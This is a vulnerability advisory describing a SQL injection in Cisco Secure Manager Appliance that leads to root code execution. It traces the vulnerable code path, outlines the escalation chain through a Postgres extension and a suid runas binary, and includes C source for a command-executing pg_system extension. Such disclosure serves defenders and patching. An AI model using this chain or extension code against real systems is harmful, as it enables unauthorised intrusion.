# SSD Advisory – Cisco Secure Manager Appliance remediation_request_utils SQL Injection Remote Code Execution
November 14, 2022 [SSD Disclosure / Technical Lead](https://ssd-disclosure.com/author/noamr/) [Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication as a high-privileged user is required to exploit this vulnerability.
The specific flaw exists within the `remediation_request_utils` module. The issue results from the lack of proper validation of user-supplied data, which can result in SQL injection. An attacker can leverage this vulnerability to execute code in the context of `root`.
**Note:** [Another vulnerability was published alongside this one](https://ssd-disclosure.com/ssd-advisory-cisco-secure-manager-appliance-jwt_api_impl-hardcoded-jwt-secret-elevation-of-privilege). These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit the other vulnerability. A Low level privileges user can use the combination of the two vulnerabilities to receive full admin privileges on an affected system.
**CVE**
CVE-2022-20867
CVE-2022-20868
***\*Credit\****
An independent security researcher has reported this to the SSD Secure Disclosure program.
**Technical Analysis**
The remediation functionality is only available to users that have one of the following roles: `ADMIN`, `EMAIL_ADMIN`, or `CLOUD_ADMIN`, however since we can impersonate any user we can obtain a token for the `admin` account.
The entry point for the vulnerability may be found in the `process_POST` method. The method loads [*1*] the `remediation_data` object from the body of the post request. The `batch_id` is obtained from the `remediation_data` object if present, and it is used to create [*3*] the `record` object. Finally, the `record` object is passed to the `store_mor_details` method indirectly via the `remediation_request_records` object.
```
def process_POST(self, uri_ctx):
    post_data = uri_ctx.request_body
    if not post_data:
        qlog.write('API.REQUEST.INFO', CONSTANTS.NO_CRITERIA)
        return uri_handler.URI_Response(None, httplib.BAD_REQUEST, CONSTANTS.NO_CRITERIA)
    else:
        try:
            remediation_data = json.loads(post_data, object_hook=stringyfy)['data'] # 1
        except (SyntaxError, ValueError, KeyError):
            qlog.write('API.REQUEST.INFO', CONSTANTS.MALFORMED_CRITERIA)
            return uri_handler.URI_Response(None, httplib.BAD_REQUEST, CONSTANTS.MALFORMED_CRITERIA)
        else:
            try:
                remediation_data[CONSTANTS.REMEDIATION_ACTION] = remediation_data[CONSTANTS.REMEDIATION_ACTION].lower()
                initiated_username = uri_ctx.user_name
                if not initiated_username:
                    initiated_username = remediation_data[CONSTANTS.INITIATED_USERNAME]
                if not remediation_data.get(CONSTANTS.INITIATED_TIME):
                    remediation_data[CONSTANTS.INITIATED_TIME] = int(time.time())
                batch_id = remediation_data.get(CONSTANTS.BATCH_ID) # 2
                if not batch_id:
                    batch_id = generate_batch_id(initiated_username, remediation_data[CONSTANTS.INITIATED_TIME])
                remediation_data[CONSTANTS.BATCH_ID] = batch_id
                batch_info_record = create_batch_info_record(remediation_data)
                batch_name = remediation_data[CONSTANTS.BATCH_NAME]
                message_details = remediation_data[CONSTANTS.REMEDIATION_MESSAGE_DETAILS]
                remediation_records = []
                for remediation_item in message_details:
                    record = create_message_details_record(remediation_item, batch_id) # 3
                    remediation_records.extend(record)
                # ...
            try:
                # ...
                remediation_request_records = {CONSTANTS.BATCH_INFO_RECORD: batch_info_record,
                    CONSTANTS.REMEDIATION_RECORDS: remediation_records}
                self.msgs_db_client.store_mor_details(remediation_request_records, True) # 4
```
The `store_mor_details` method is an RPC wrapper that calls [*5*] the `write_mor_details_to_buffer` method.
```
def store_mor_details(self, remediation_data, immediate_msg_write=False):
    return msgs_db_utils.write_mor_details_to_buffer(remediation_data, immediate_msg_write) # 5
```
The `write_mor_details_to_buffer` method uses the `record` object generated earlier as a parameter to call [*6*] the `get_formatted_mor_record` method and then calls [*7*] the `mor_details_buffer_writer` with the result.
```
def write_mor_details_to_buffer(remediation_data, immediate_msg_write=False):
    if remediation_data:
        formatted_mor_records = [ get_formatted_mor_record(record) for record in remediation_data.get(remediation_consts.REMEDIATION_RECORDS) ] # 6
        formatted_mor_batch_records = [
         get_formatted_mor_batch_record(remediation_data.get(remediation_consts.BATCH_INFO_RECORD))]
        msgs_db_handler = msgs_db_updater.get_msgs_db_handler()
        msgs_db_handler.mor_details_buffer_writer(formatted_mor_records, immediate_msg_write) # 7
        msgs_db_handler.mor_batch_details_buffer_writer(formatted_mor_batch_records, immediate_msg_write)
```
The `get_formatted_mor_record` formats the fields for the INSERT query that will be executed later. Some fields are sanitized, however the `batch_id` field is embedded [*8*] into the query without any sanitization.
```
def get_formatted_mor_record(mor_data):
    (batch_id, mid, subject, from_addrs, rcpts, ip, message_id, attempts, status, sent_at) = mor_data
    record = "('%s', %s, '%s'" % (batch_id, mid, _get_sanitized_record_field(subject)) # 8
    record = "%s, '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (record, _get_sanitized_record_field(from_addrs),
     _get_sanitized_record_field(rcpts), ip, _get_sanitized_record_field(message_id), attempts, status, sent_at)
    return record
```
The `mor_details_buffer_writer` method is later called to execute the query. The method calls [*9*] the `insert_mor_details` method with the provided parameters.
```
def mor_details_buffer_writer(self, records, immediate_msg_write=False):
    if not self.db_full and len(records) < self._limit:
        conn = self._get_connection()
        if immediate_msg_write and conn is not None:
            self.insert_mor_details(conn, records) # 9
    return
```
The `insert_mor_details` method fully constructs [*10*] the query and then it executes [*11*] it.
```
def insert_mor_details(self, conn, bulk_records):
    query_str = msgs_db_query.get_mor_details_bulk_insert_query(bulk_records) # 10
    msgs_db_defs.log_trace('Query string for mor_details: %s' % (query_str,))
    try:
        try:
            self.query(conn, query_str) # 11
        except (coro_postgres.QueryError, coro_postgres.InternalError), err:
            msgs_db_defs.log('Database insertion error %s' % (
                err,))
            raise
        except coro_postgres.ConnectionClosedError, err:
            msgs_db_defs.log('Postgres connection closed. Reason: %s' % (err,))
            raise
        else:
            self.db_empty = False
            msgs_db_defs.log('%s records inserted' % (len(bulk_records),))
    finally:
        self._release_connection(conn)
```
The query is constructed by calling the `get_mor_details_bulk_insert_query`, which internally calls [*12*] the `_get_records_insert_query` method.
```
def get_mor_details_bulk_insert_query(bulk_records):
    return _get_records_insert_query(msgs_db_defs.MOR_DETAILS_TABLE_COLUMNS, bulk_records, msgs_db_defs.MOR_DETAILS_TABLE) # 12
```
Finally, the `_get_records_insert_query` method uses the given parameters to construct [*13*] the query without any further sanitization.
```
def _get_records_insert_query(keys, values, table_name):
    keys = (', ').join(keys)
    values = (', ').join(values)
    return 'INSERT INTO %s (%s)  VALUES %s' % (table_name, keys, values) # 13
```
As the SQL injection happens in the context of the `pgsql` user, there are multiple methods to execute arbitrary commands on the target system. The method used in the exploit is to write to disk and load a postgres extension and to later call it’s defined function `pg_system` to execute arbitrary commands. To obtain `root` on the target server, there is a `suid` binary available named `runas` which allows any user to run commands as any other user by providing the desired username as the first parameter. The code for the postgres extension may be found below.
```
#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_system);
Datum pg_system(PG_FUNCTION_ARGS) {
    text *commandText = PG_GETARG_TEXT_P(0);
    int32 commandLen = VARSIZE(commandText) - VARHDRSZ;
    char *command = (char *)palloc(commandLen + 1);
    int32 result = 0;
    memcpy(command, VARDATA(commandText), commandLen);
    command[commandLen] = 0;
    result = system(command);
    pfree(command);
    PG_RETURN_INT32(result);
}
```
**Vendor Response**
The vendor has issued a patch for the vulnerability as part of its patches released on the 11th of November 2022 for the affected platform – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD
                       
                       
        
          
暂无评论